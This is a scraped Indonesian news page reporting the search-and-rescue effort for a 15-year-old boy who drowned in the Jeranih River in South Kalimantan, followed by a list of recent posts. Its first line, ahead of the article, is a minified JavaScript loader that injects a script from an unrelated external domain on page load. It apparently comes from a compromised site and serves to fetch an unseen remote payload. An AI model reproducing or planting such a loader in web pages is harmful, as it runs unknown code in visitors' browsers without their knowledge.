(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Kabupaten Hulu Sungai Tengah

Pencarian Bocah Tenggelam Fokus di 2 Titik, Hujan di Pegunungan Persulit Medan


KANALKALIMANTAN.COM, BARABAI – Proses pencarian Iqbal Fadillah (15) yang tenggelam di Sungai Jeranih akan dilanjutkan dengan memfokuskan pada dua titik pencarian, Selasa (13/9/2022).

Dalam dua titik tersebut SAR Gabungan melakukan manuver perahu karet atau gerakan zig-zag dan memutar di area pencarian. Cara ini bertujuan untuk membuat gelombang agar jenazah korban yang diduga di dasar sungai dapat terangkat ke permukaan.

Rekanan BPK Banua Kupang, Muhammad Muzakir berkata dalam evaluasi pencarian akan dilakukan di dua titik lokasi. Namun, malam ini difokuskan dibagian darat.

“Malam ini dihentikan pencarian di air, besok akan dilanjutkan di dua titik menggunakan manuver memutar menggunakan perahu,” katanya, Selasa (13/9/2022).

 

Baca juga  : Hari Ke-2 Pencarian Bocah Tenggelam, Arus Deras Sungai Jeranih Hambat Tim SAR Gabungan

Dibeberkan, alasan diberhentikannya pencarian di air dikarenakan cuaca dalam keadaan hujan di wilayah pegunungan.

“Infonya hujan di pegunungan, jadi besok dilanjutkan, malam ini fokus pencarian di darat,” bebernya.

“Malam ini belum tahu sampai jam berapa pemantauannya,” tambahnya.

Diberitakan sebelum seorang bocah 15 tahun dinyatakan tenggelam setelah dirinya melompat di jembatan yang ada tepat di belakang Kantor Kepala Desa Jeranih dengan 4 orang temannya.

 

Baca juga  : Kepengurusan PWI Kalsel 2022-2027 Dilantik, Wartawan Harus Semakin Profesional

Ke 4 orang temannya setelah melompat dari jembatan berhasil berenang ke tepian, naas bagi Iqbal dirinya harus hanyit terbawa arus sungai yang cukup deras.

Di lokasi jembatan ditemukan sepasang sendal diduga milik Iqbal.

Hingga saat ini Tim SAR Gabungan masih berupaya melakukan penyisiran sepanjang Sungai Jeranih.(Kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : cell


Desy Arfianty

Recent Posts

Diberi Waktu Tiga Bulan, Peternakan Babi di Jalan Pandarapan Harus Dibongkar

KANALKALIMANTAN.COM, BANJARBARU – Sebanyak 21 kepala keluarga (KK) pemilik peternakan babi di Jalan Pandarapan RT… Read More

6 jam ago

Upacara Ritual Adat Mamapas Lewu di Desa Penda Ketapi

KANALKALIMANTAN.COM, KUALA KAPUAS - Warga Desa Penda Ketapi, Kecamatan Kapuas Barat, Kabupaten Kapuas, Kalteng, menggelar… Read More

7 jam ago

Penyuluhan Kesehatan Satgas TMMD di Desa Sungai Karias

KANALKALIMANTAN.COM, AMUNTAI - Satgas TNI Manunggal Membangun Desa (TMMD) menggelar sosialisasi penyuluhan kesehatan masyarakat di… Read More

7 jam ago

Terbagi Tiga Kloter, Pj Bupati Kapuas Ingatkan Calon Haji Jaga Kondisi Kesehatan

KANALKALIMANTAN.COM, KUALA KAPUAS - Penjabat (Pj) Bupati Kapuas Erlin Hardi melepas ratusan jemaah calon haji… Read More

7 jam ago

81 Peserta Ikuti Audisi Pemilihan Nanang dan Galuh Kabupaten Banjar

KANALKALIMANTAN.COM, MARTAPURA - Sebanyak 81 orang terdiri atas 27 laki-laki dan 54 perempuan dari beberapa… Read More

7 jam ago

Rumah di Banjarmasin Ambruk ke Sungai, Penghuni Keluar Lewat Jendela

KANALKALIMANTAN.COM, BANJARMASIN - Sebuah rumah di Jalan Sutoyo S, Gang Serumpun, Kelurahan Pelambuan, Kecamatan Banjarmasin… Read More

7 jam ago

This website uses cookies.